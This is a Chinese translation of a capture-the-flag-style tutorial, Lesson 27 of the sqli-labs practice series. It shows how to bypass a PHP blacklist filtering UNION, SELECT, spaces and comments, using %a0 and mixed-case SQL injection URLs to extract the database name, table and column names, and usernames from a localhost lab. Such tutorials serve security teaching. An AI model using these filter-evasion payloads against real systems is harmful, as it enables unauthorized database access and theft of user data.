search
尋找貓咪~QQ 地點 桃園市桃園區 Taoyuan , Taoyuan

如何手動繞過SQL注入過濾器?(二)

Lesson 27

本節延續上一節(傳送門)。難度愈發的大了,因為這次被過濾掉的有UNION/union,SELECT/select,空格和註釋。還是老方法,尋找替代品來繞過它!

function blacklist($id)

$id=preg_replace('/[\/\*]/',"",$id); //strip out /*

$id=preg_replace('/[-]/',"",$id); //strip out -

$id=preg_replace('/[#]/',"",$id); //strip out #

$id=preg_replace('/union/s',"",$id); //strip out union

$id=preg_replace('/select/s',"",$id); //strip out select

$id=preg_replace('/UNION/s',"",$id); //strip out UNION

$id=preg_replace('/SELECT/s',"",$id); //strip out SELECT

$id=preg_replace('/Union/s',"",$id); //strip out Union

$id=preg_replace('/Select/s',"",$id); //strip out Select

首先打開瀏覽器,輸入http://localhost:81/sqli/Less-27/?id=1' AND'1=1(註:具體以個人配置為準)

由上圖可以看出,空格被過濾掉了。

現在來看看如何繞過UNION/union,SELECT/select和空格過濾器:

http://localhost:81/sqli/Less-27/?id=0'%a0UnIon%a0SeLect%a01,2,3%a0AND'1=1

由上圖可以看出,顯然我們成功了。(註:此圖為譯者所截,原文此處有誤)

如果你已經明白了上面的方法,那麼接下來開始獲取資料庫信息:

http://localhost:81/sqli/Less-27/?id=0'%a0UnIon%a0SeLect%a01,database,3%a0AND'1=1

由上圖可以看出,資料庫名為'security'。

接著來看看資料庫中有哪些表:

http://localhost:81/sqli/Less-27/?id=0'%a0UnIon%a0SeLect%a01,group_concat(table_name),3%a0from%a0information_schema.tables%a0where%a0table_schema=database%a0AND'1=1

由上圖可以看出,當前的表名有:

T1: emails

T2: referers

T3: uagents

T4: users

接著來看看錶users中有哪些列:

http://localhost:81/sqli/Less-27/?id=0'%a0UnIon%a0SeLect%a01,group_concat(column_name),3%a0from%a0information_schema.columns%a0where%a0table_name='users'%a0AND'1=1

由上圖可以看出,該表包含了三列,分別是:

C1: id

C2: username

C3: password

在本節的最後,一起來看看錶users中的username有哪些:

http://localhost:81/sqli/Less-27/?id=0'%a0UnIon%a0SeLect%a01,group_concat(username),3%a0from%a0users%a0where%a0'1=1

由上圖可以看出,username有Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4。

小結

在第二十七節,我們學習了如何繞過UNION/union,SELECT/select,空格和註釋過濾器來獲取資料庫中的信息。

本文由 看雪翻譯小組 hesir 編譯,來源 Hacking Articles@Raj Chandel

如果你喜歡的話,不要忘記點個贊哦!

熱門閱讀文章:



熱門推薦

本文由 yidianzixun 提供 原文連結

寵物協尋 相信 終究能找到回家的路
寫了7763篇文章,獲得2次喜歡
留言回覆
回覆
精彩推薦